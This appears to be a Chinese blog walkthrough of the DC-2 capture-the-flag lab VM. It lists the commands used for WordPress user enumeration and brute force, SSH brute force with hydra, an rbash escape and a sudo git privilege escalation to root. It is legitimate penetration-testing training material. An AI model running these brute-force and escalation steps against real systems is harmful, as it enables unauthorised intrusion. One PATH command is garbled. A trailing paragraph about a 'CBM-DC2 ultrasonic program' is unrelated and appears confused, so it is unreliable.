DC2靶机练习

实验环境:DC-2靶机,kali linux攻击机,win10辅助机

靶机:
链接:https://pan.baidu.com/s/1naWHuZDDwWOI2zqO6vG6OA 提取码:rkzw

1、kali主机扫描内网存活主机

查询kali主机的ip地址:192.168.246.130

创建DC2专用文件夹

开始扫描
在这里插入图片描述
继续具体扫描目标主机 开放的端口
在这里插入图片描述
目标系统开放了80端口与7744端口

开放了80端口,用浏览器访问ip地址,发现网页打不开,但是网址重定向为http://dc-2

所以需要在物理机中修改hosts文件。
如:
在这里插入图片描述
然后再输入ip地址访问网站即可打开
在这里插入图片描述
kali主机中也需要修改hosts文件
在这里插入图片描述
发现目录存在分级,所以可以进行目录扫描

存在wp-includes目录,打开发现目录中无可用信息,只得知网站的语言是php
在这里插入图片描述
发现flag标志
在这里插入图片描述
意思为可以使用cewl进行网站有用信息的爬取,然后再进行爆破登录后台
爬取密码信息命令为

cewl dc-2 >passwd.dic

2、使用wpscan扫描WordPress存在的漏洞。

Wpscan --url dc-2

使用下面命令得到更加详细的用户信息

Wpscan --url dc-2 -e u

在这里插入图片描述
创建用户名字典user.dic,里面的内容即为admin,Jerry,Tom。

账密进行爆破

可以是使用burpsuite,hydra等工具,这里使用wpscan

Wpscan --url dc-2 -U user.dic -P passwd.dic

在这里插入图片描述
通过百度可知WordPress网站后台登录地址为wp-login.php

使用tom的账号与密码进行登录,发现没有可用信息。

然后使用Jerry的账号进行登录,密码为adipiscing

可以发现有flag2
在这里插入图片描述
意思就是这个方法行不通,可以寻找其他途径进行渗透。

回到开始的信息扫描出,发现目标主机开放了7744端口,显示上面支持的协议为ssh协议,所以尝试在攻击机上使用用户名与密码字典进行爆破。

使用hydra命令

hydra -L user.dic -P passwd.dic ssh://192.168.246.139 -s 7744 -o
hydra.ssh -vV

-vV显示爆破信息
在这里插入图片描述
爆破出用户名为tom,密码为parturient

使用ssh登录

ssh tom@192.168.246.139 -p 7744

然后输入yes,接着输入密码登录成功。

接着输入ls发现flag3.txt,使用cat进行查看。
在这里插入图片描述
发现输出-rbash,表示不允许执行某些命令。

现在需要绕过限制

BASH_CMDS[a]=/bin/sh;a
/bin/bash

在这里插入图片描述
发现还是cat命令还是找不到·,但是已经进入了bash目录。

现在需要导入环境变量。

export PATH= P A T H : / b i n / e x p o r t P A T H = PATH:/bin/ export PATH= PATH:/bin/exportPATH=PATH:/usr/bin/

现在可以查看flag3.txt
在这里插入图片描述
要求需要使用jerry账户,现在查询etc目录中的passwd
发现有jerry账户
在这里插入图片描述
允许在/bin/bash/目录下登录jerry

尝试直接su jerry看能否登录。

输入密码,登录成功
在这里插入图片描述
cd自己根目录,发现flag4.txt
在这里插入图片描述
提示需要root用户才能够访问最终的flag。进入根目录发现root文件夹
在这里插入图片描述
但是无权访问,现在需要进行提权,根据提示使用git进行提权。

3、提权

查看具有root权限的命令

执行命令sudo -l发现
在这里插入图片描述
发现git具有root权限,但不需要输入密码

在这里插入图片描述

git提权
sudo git -p --help

强制进入交互状态,让页面缓冲区无法显示全部信息(缩小页面大小或者放大字体,这是关键)

接着调用bin下的bash

!/bin/bash

在这里插入图片描述
查看权限
在这里插入图片描述
在这里插入图片描述

查看最后的flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CBM-DC2超声波程序是一种基于超声波技术的测量程序。CBM是嵌入式系统名称,DC2则表示第二代设备。该程序主要应用于测量距离、检测物体的位置、识别物体的形状等方面。 CBM-DC2超声波程序的工作原理是通过超声波发射器发射超声波信号,然后接收器接收到被物体反射后的声波信号。通过计算发射与接收之间的时间差,并结合声速的知识,可以准确地测量出被测物体与传感器之间的距离。这种测量方法具有非接触、快速、准确等优点,因此广泛应用于各个领域。 CBM-DC2超声波程序可以用于测量物体的距离。通过将传感器安装在测量物体附近,即可实时测量物体与传感器之间的距离。比如在机械领域中,可以用来检测机械设备中零件的位置和间距,以及机器人中的障碍物位置,可广泛应用于自动化生产线中。 此外,CBM-DC2超声波程序还可以用于检测物体的位置。通过分析声波信号的强弱或回波的时间差,可以确定物体在空间中的位置。这在自动驾驶领域中具有重要意义,可以用于检测周围车辆、行人或其他障碍物的位置和距离,以保证交通安全。 最后,CBM-DC2超声波程序还能用于识别物体的形状。通过分析声波信号的回波,可以获得物体的轮廓和形状信息。这在制造业中具有广泛的应用,可以用于产品检测、零件测量等,以提高生产效率和质量管理水平。 总之,CBM-DC2超声波程序是一种基于超声波技术的测量程序,可以应用于测量距离、检测物体位置和识别物体形状等多个领域,具有非接触、快速、准确等优点,在各个领域中发挥着重要作用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值